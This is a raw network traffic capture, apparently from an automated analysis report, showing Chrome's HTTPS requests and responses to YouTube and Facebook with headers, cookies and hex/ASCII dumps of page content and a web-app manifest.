137	192.168.2.6	49929	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	1311	OUT	GET / HTTP/1.1 Host: www.youtube.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich; YSC=5Mm10cZ-erg
2024-01-17 23:35:05 UTC	3588	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:05 GMT X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-YEC=CgtiU1BPUHlZdVg5ZyipyKGtBjIKCgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:34 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:35:05 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:05 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:05 UTC	3588	IN	Data Raw: 32 35 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 2d 64 65 70 72 65 63 61 74 65 20 73 79 73 74 65 6d 2d 69 63 6f 6e 73 20 74 79 70 6f 67 72 61 70 68 79 20 74 79 70 6f 67 72 61 70 68 79 2d 73 70 61 63 69 6e 67 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 66 39 79 5a 48 61 52 4f 75 56 6c 54 39 64 78 5f 31 73 59 30 52 41 22 3e 77 69 6e 64 6f 77 Data Ascii: 2537<!DOCTYPE html><html style="font-size: 10px;font-family: Roboto, Arial, sans-serif;" lang="en" darker-dark-theme darker-dark-theme-deprecate system-icons typography typography-spacing><head><script data-id="_gd" nonce="f9yZHaROuVlT9dx_1sY0RA">window
2024-01-17 23:35:05 UTC	3588	IN	Data Raw: 74 79 70 65 2e 6a 6f 69 6e 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 22 2c 22 29 29 29 7d 76 61 72 20 6f 72 69 67 50 6f 6c 79 6d 65 72 3d 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 3b 76 61 72 20 6e 65 77 50 6f 6c 79 6d 65 72 3d 66 75 6e 63 74 69 6f 6e 28 63 6f 6e 66 69 67 29 7b 69 66 28 21 6f 72 69 67 50 6f 6c 79 6d 65 72 2e 5f 79 74 49 6e 74 65 72 63 65 70 74 65 64 26 26 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 29 7b 6f 72 69 67 50 6f 6c 79 6d 65 72 2e 5f 79 74 49 6e 74 65 72 63 65 70 74 65 64 3d 74 72 75 65 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 3d 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 Data Ascii: type.join.call(arguments,",")))}var origPolymer=window["Polymer"];var newPolymer=function(config){if(!origPolymer._ytIntercepted&&window["Polymer"].Base){origPolymer._ytIntercepted=true;window["Polymer"].Base._getExtendedNativePrototype=_getExtendedNative
2024-01-17 23:35:05 UTC	2359	IN	Data Raw: 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 62 72 61 6e 64 73 3d 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 62 72 61 6e 64 73 3b 76 61 72 20 69 3d 30 3b 66 6f 72 28 3b 69 3c 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 69 66 28 62 72 61 6e 64 73 5b 69 5d 26 26 62 72 61 6e 64 73 5b 69 5d 2e 62 72 61 6e 64 3d 3d 3d 22 46 69 72 65 66 6f 78 22 29 72 65 74 75 72 6e 20 74 72 75 65 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 63 61 74 63 68 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 65 3b 7d 29 7d 69 66 28 21 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 72 65 Data Ascii: .navigator.userAgentData.brands.length){var brands=w.navigator.userAgentData.brands;var i=0;for(;i<brands.length;i++)if(brands[i]&&brands[i].brand==="Firefox")return true;return false}}catch(e){setTimeout(function(){throw e;})}if(!w.navigator.userAgent)re
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 43 4c 49 45 4e 54 5f 43 41 4e 41 52 59 5f 53 54 41 54 45 22 3a 22 6e 6f 6e 65 22 2c 22 44 45 56 49 43 45 22 3a 22 63 62 72 5c 75 30 30 33 64 43 68 72 6f 6d 65 5c 75 30 30 32 36 63 62 72 76 65 72 5c 75 30 30 33 64 31 31 37 2e 30 2e 30 2e 30 5c 75 30 30 32 36 63 65 6e 67 5c 75 30 30 33 64 57 65 62 4b 69 74 5c 75 30 30 32 36 63 65 6e 67 76 65 72 5c 75 30 30 33 64 35 33 37 2e 33 36 5c 75 30 30 32 36 63 6f 73 5c 75 30 30 33 64 57 69 6e 64 6f 77 73 5c 75 30 30 32 36 63 6f 73 76 65 72 5c 75 30 30 33 64 31 30 2e 30 5c 75 30 30 32 36 63 70 6c 61 74 66 6f 72 6d 5c 75 30 30 33 64 44 45 53 4b 54 4f 50 22 2c 22 44 49 53 41 42 4c 45 5f 59 54 5f 49 4d 47 5f 44 45 4c 41 59 5f 4c 4f 41 44 49 4e 47 22 3a 66 61 6c 73 65 2c 22 45 4c 45 4d 45 4e 54 5f Data Ascii: 8000{"CLIENT_CANARY_STATE":"none","DEVICE":"cbr\u003dChrome\u0026cbrver\u003d117.0.0.0\u0026ceng\u003dWebKit\u0026cengver\u003d537.36\u0026cos\u003dWindows\u0026cosver\u003d10.0\u0026cplatform\u003dDESKTOP","DISABLE_YT_IMG_DELAY_LOADING":false,"ELEMENT_
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 64 64 5f 74 6f 5f 70 6c 61 79 6c 69 73 74 5f 72 65 6e 64 65 72 65 72 5f 64 69 61 6c 6f 67 5f 70 6f 70 75 70 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 6e 69 6d 61 74 65 5f 6d 69 6e 69 70 6c 61 79 65 72 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 63 6c 69 65 6e 74 5f 72 65 6c 65 61 73 65 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 64 65 6c 61 79 5f 70 6c 61 79 65 72 5f 72 65 73 69 7a 69 6e 67 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 63 6c 69 63 6b 5f 64 72 61 67 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e Data Ascii: true,"desktop_add_to_playlist_renderer_dialog_popup":true,"desktop_animate_miniplayer":true,"desktop_client_release":true,"desktop_delay_player_resizing":true,"desktop_enable_dmpanel_click_drag_scroll":true,"desktop_enable_dmpanel_scroll":true,"desktop_en
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 72 75 65 2c 22 65 6d 62 65 64 73 5f 77 65 62 5f 6e 77 6c 5f 64 69 73 61 62 6c 65 5f 6e 6f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 65 70 6f 72 74 5f 6f 6e 5f 65 72 72 6f 72 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 70 5f 69 6e 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 64 73 5f 77 65 62 5f 65 70 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 61 6e 64 5f 70 61 64 64 69 6e 67 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 74 79 70 6f 67 72 61 70 68 79 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 74 74 6f 6e 5f 62 65 68 61 76 69 6f 72 5f 72 65 75 73 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 61 6c 6c 5f 74 6f 5f 61 63 74 69 6f Data Ascii: rue,"embeds_web_nwl_disable_nocookie":true,"enable_ab_report_on_errorscreen":true,"enable_ab_rp_int":true,"enable_ads_web_ep_buenos_aires_and_padding_fix":true,"enable_buenos_aires_typography":true,"enable_button_behavior_reuse":true,"enable_call_to_actio
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 6c 65 73 5f 69 6e 5f 6d 65 6e 74 69 6f 6e 5f 73 75 67 67 65 73 74 5f 70 6f 73 74 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 69 67 68 5f 66 72 65 71 75 65 6e 63 79 5f 63 6f 6f 6b 69 65 5f 72 6f 74 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 6c 70 5f 63 6c 69 65 6e 74 5f 69 63 6f 6e 5f 70 69 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 64 65 6e 74 69 74 79 5f 61 74 74 72 69 62 75 74 65 73 5f 66 6f 72 5f 6c 69 76 65 5f 63 68 61 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6d 61 67 65 5f 70 6f 6c 6c 5f 70 6f 73 74 5f 63 72 65 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 6c 69 6e 65 5f 73 68 6f 72 74 73 5f 6f 6e 5f 77 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 74 65 72 73 74 69 74 69 61 Data Ascii: les_in_mention_suggest_posts":true,"enable_high_frequency_cookie_rotation":true,"enable_hlp_client_icon_pick":true,"enable_identity_attributes_for_live_chat":true,"enable_image_poll_post_creation":true,"enable_inline_shorts_on_wn":true,"enable_interstitia
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 6f 6e 5f 6d 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 75 72 6c 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 65 72 5f 70 61 72 61 6d 5f 74 72 75 6e 63 61 74 69 6f 6e 5f 62 65 66 6f 72 65 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 6c 5f 63 68 6f 69 63 65 5f 62 6f 72 64 65 72 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 5f 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 75 6c 61 74 65 5f 61 Data Ascii: able_playables_on_mweb":true,"enable_playables_url_resolution":true,"enable_player_param_truncation_before_navigation_on_web":true,"enable_poll_choice_border_on_web":true,"enable_polymer_resin":true,"enable_polymer_resin_migration":true,"enable_populate_a
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 61 6e 6e 65 6c 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 68 6f 77 69 6e 67 5f 67 65 6e 72 65 5f 64 61 74 61 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 69 67 6e 61 6c 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 5f 61 64 5f 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 70 61 72 6b 6c 65 73 5f 77 65 62 5f 63 6c 69 63 6b 61 62 6c 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 71 75 Data Ascii: annel_web":true,"enable_showing_genre_data":true,"enable_signals":true,"enable_skip_ad_guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_sparkles_web_clickable_description":true,"enable_squ
2024-01-17 23:35:06 UTC	1252	IN	Data Raw: 64 73 5f 73 75 62 6d 69 74 5f 66 6f 72 6d 5f 73 69 67 6e 61 6c 5f 61 63 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 79 74 63 5f 73 65 6c 66 5f 73 65 72 76 65 5f 72 65 66 75 6e 64 73 22 3a 74 72 75 65 2c 22 65 6e 64 70 6f 69 6e 74 5f 68 61 6e 64 6c 65 72 5f 6c 6f 67 67 69 6e 67 5f 63 6c 65 61 6e 75 70 5f 6b 69 6c 6c 73 77 69 74 63 68 22 3a 74 72 75 65 2c 22 65 72 72 5f 6f 6e 5f 70 6c 5f 72 5f 63 22 3a 74 72 75 65 2c 22 65 78 70 6f 72 74 5f 6e 65 74 77 6f 72 6b 6c 65 73 73 5f 6f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 5f 77 69 74 68 5f 65 64 75 22 3a 74 72 75 65 2c 22 66 65 74 63 68 5f 62 69 64 5f 66 6f 72 Data Ascii: ds_submit_form_signal_action":true,"enable_ytc_self_serve_refunds":true,"endpoint_handler_logging_cleanup_killswitch":true,"err_on_pl_r_c":true,"export_networkless_options":true,"external_fullscreen":true,"external_fullscreen_with_edu":true,"fetch_bid_for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49934	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:05 UTC	711	OUT	GET /data/manifest/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907; _js_datr=CmSoZS_e47taJeaFNDxl31-H; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM
2024-01-17 23:35:05 UTC	827	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: datr=CmSoZS_e47taJeaFNDxl31-H; expires=Thu, 20-Feb-2025 23:35:05 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponly; SameSite=None Set-Cookie: _js_datr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=-1705534504; path=/; domain=.facebook.com; httponly Content-Type: application/json reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
2024-01-17 23:35:05 UTC	1692	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:05 UTC	1084	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f
2024-01-17 23:35:05 UTC	897	IN	Data Raw: 34 61 66 0d 0a 7b 22 67 63 6d 5f 73 65 6e 64 65 72 5f 69 64 22 3a 22 31 35 30 35 37 38 31 34 33 35 34 22 2c 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 74 72 75 65 2c 22 65 64 67 65 5f 73 69 64 65 5f 70 61 6e 65 6c 22 3a 7b 22 70 72 65 66 65 72 72 65 64 5f 77 69 64 74 68 22 3a 33 37 36 7d 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 73 74 61 72 74 5f 75 72 6c 22 3a 22 5c 2f 3f 72 65 66 3d 68 6f 6d 65 73 63 72 65 65 6e 70 77 61 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6d 69 6e 69 6d 61 6c 2d 75 69 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 22 23 46 46 46 46 46 46 22 2c 22 74 68 65 6d 65 5f 63 6f 6c 6f 72 22 3a 22 23 31 38 37 Data Ascii: 4af{"gcm_sender_id":"15057814354","gcm_user_visible_only":true,"edge_side_panel":{"preferred_width":376},"short_name":"Facebook","name":"Facebook","start_url":"\/?ref=homescreenpwa","display":"minimal-ui","background_color":"#FFFFFF","theme_color":"#187
2024-01-17 23:35:05 UTC	309	IN	Data Raw: 64 75 6d 6d 79 22 2c 22 64 61 74 61 22 3a 22 5c 2f 64 75 6d 6d 79 2e 6a 73 6f 6e 22 2c 22 6d 73 5f 61 63 5f 74 65 6d 70 6c 61 74 65 22 3a 22 5c 2f 64 75 6d 6d 79 2e 6a 73 6f 6e 22 7d 5d 2c 22 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6b 61 74 61 6e 61 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6c 69 74 65 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6f 72 63 61 22 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 Data Ascii: dummy","data":"\/dummy.json","ms_ac_template":"\/dummy.json"}],"related_applications":[{"platform":"play","id":"com.facebook.katana"},{"platform":"play","id":"com.facebook.lite"},{"platform":"play","id":"com.facebook.orca"},{"platform":"play","id":"com.fa
2024-01-17 23:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49932	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
